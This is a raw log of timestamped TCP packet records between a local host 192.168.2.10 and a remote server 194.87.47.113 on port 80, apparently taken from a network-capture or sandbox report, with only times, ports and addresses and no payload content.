Dec 19, 2024 08:21:30.876681089 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.876705885 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.877798080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.877810955 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.877873898 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.878772974 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.878784895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.878796101 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.878858089 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.879158974 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.879198074 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.880333900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.880347967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.880361080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.880373955 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.880403042 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.880429983 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.881671906 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.881685019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.881730080 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.881995916 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.882009029 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.882050037 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.883177042 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.883191109 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.883235931 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.883476019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.883611917 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.883657932 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.884121895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.935146093 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.954260111 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.954272032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.954284906 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.954301119 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.954320908 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.954360962 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.955039024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.955210924 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.955249071 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.956013918 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.956080914 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.956127882 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.959594011 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.959685087 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.959721088 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.960102081 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.960115910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.960145950 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.960908890 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.961041927 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.961076975 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.961606979 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.013262987 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.013572931 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.013588905 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.013636112 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.014075041 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.014089108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.014126062 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.014774084 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.014956951 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.014996052 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.016326904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.016340017 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.016352892 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.016381979 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.016495943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.016529083 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.017946005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.017959118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.017972946 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.017986059 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.017999887 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.018018961 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.019172907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.019185066 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.019197941 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.019227028 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.020838976 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.020852089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.020864010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.020876884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.020893097 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.022288084 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.022300959 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.022316933 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.022320986 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.022331953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.022339106 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.022368908 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.023164988 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.023176908 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.023189068 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.023207903 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.023232937 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.050323009 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.050334930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.050345898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.050359964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.050396919 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.050431967 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.051158905 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.052584887 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.052598953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.052611113 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.052629948 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.052654982 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.053508043 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.053520918 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.053534031 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.053546906 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.053560972 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.053587914 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.055125952 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.055139065 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.055152893 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.055166006 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.055205107 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.056706905 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.056719065 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.056730986 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.056742907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.056782007 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.058371067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.058382034 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.058396101 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.058408022 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.058440924 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.058460951 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.059170961 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.059184074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.059228897 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.060700893 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.060713053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.060728073 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.060740948 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.060758114 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.060777903 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.061450958 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.061463118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.061494112 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.062225103 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.062237978 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.062294960 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.063164949 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.063178062 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.063215971 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.063688993 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.064366102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.064419031 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.064528942 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.064656973 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.064696074 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.065293074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.065612078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.065655947 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.066442966 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.066456079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.066502094 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.067164898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.067178011 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.067209005 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.067708015 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.068247080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.068279982 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.068658113 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.068671942 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.068702936 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.070111990 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.070126057 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.070139885 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.070152044 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.070168018 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.070184946 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.071161985 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.071173906 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.071213961 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.072488070 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.072500944 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.072513103 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.072525024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.072546959 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.072571039 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.073940992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.073952913 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.073964119 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.073983908 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.075170040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.075181961 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.075195074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.075211048 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.075239897 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.079168081 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.079180002 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.079253912 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.194402933 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.194418907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.194509029 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.195168018 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.195180893 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.195231915 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.196352959 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.196365118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.196377993 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.196392059 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.196398020 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.196429968 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.197875977 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.197887897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.197901964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.197933912 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.198034048 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.198069096 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.198652983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.198940039 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.198972940 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.251174927 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.252239943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.252253056 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.252266884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.252279997 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.252325058 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.252361059 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.253833055 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.253844976 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.253856897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.253869057 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.253909111 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.253918886 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.254276991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.254328012 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.254621029 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.255156040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.255206108 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.255414963 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.255603075 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.255647898 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.256347895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.256360054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.256402969 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.258002996 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.258014917 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.258028030 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.258040905 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.258075953 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.258100033 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.259167910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.259181023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.259222984 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.260250092 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.260262966 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.260274887 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.260291100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.260303020 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.260318995 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.261143923 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.300883055 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.300898075 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.300909996 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.300923109 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.301003933 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.301809072 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.301872015 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.301978111 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.302686930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.302700043 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.302742004 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.303154945 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.303205013 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.303293943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.304089069 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.304100990 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.304146051 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.305644989 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.305658102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.305670023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.305681944 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.305711031 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.305721998 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.307054996 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.307066917 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.307110071 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.307131052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.307174921 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.307270050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.307984114 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.308029890 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.308126926 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.308923960 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.308936119 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.308969975 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.309663057 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.309676886 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.309711933 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.310297012 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.310342073 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.310512066 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.311131954 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.311177015 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.311239958 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.312051058 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.312062979 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.312102079 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.312762976 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.312774897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.312813997 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.313522100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.313570976 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.313738108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.314397097 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.314440966 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.314547062 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.315119982 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.315169096 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.315249920 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.316601038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.316613913 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.316629887 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.316663027 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.316690922 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.316730976 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.317420006 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.317468882 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.317599058 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.318321943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.318334103 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.318373919 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.319160938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.319173098 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.319231987 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.319880962 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.319904089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.319930077 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.321393013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.321403980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.321417093 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.321475983 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.321729898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.322464943 CET	80	49720	194.87.47.113	192.168.2.10
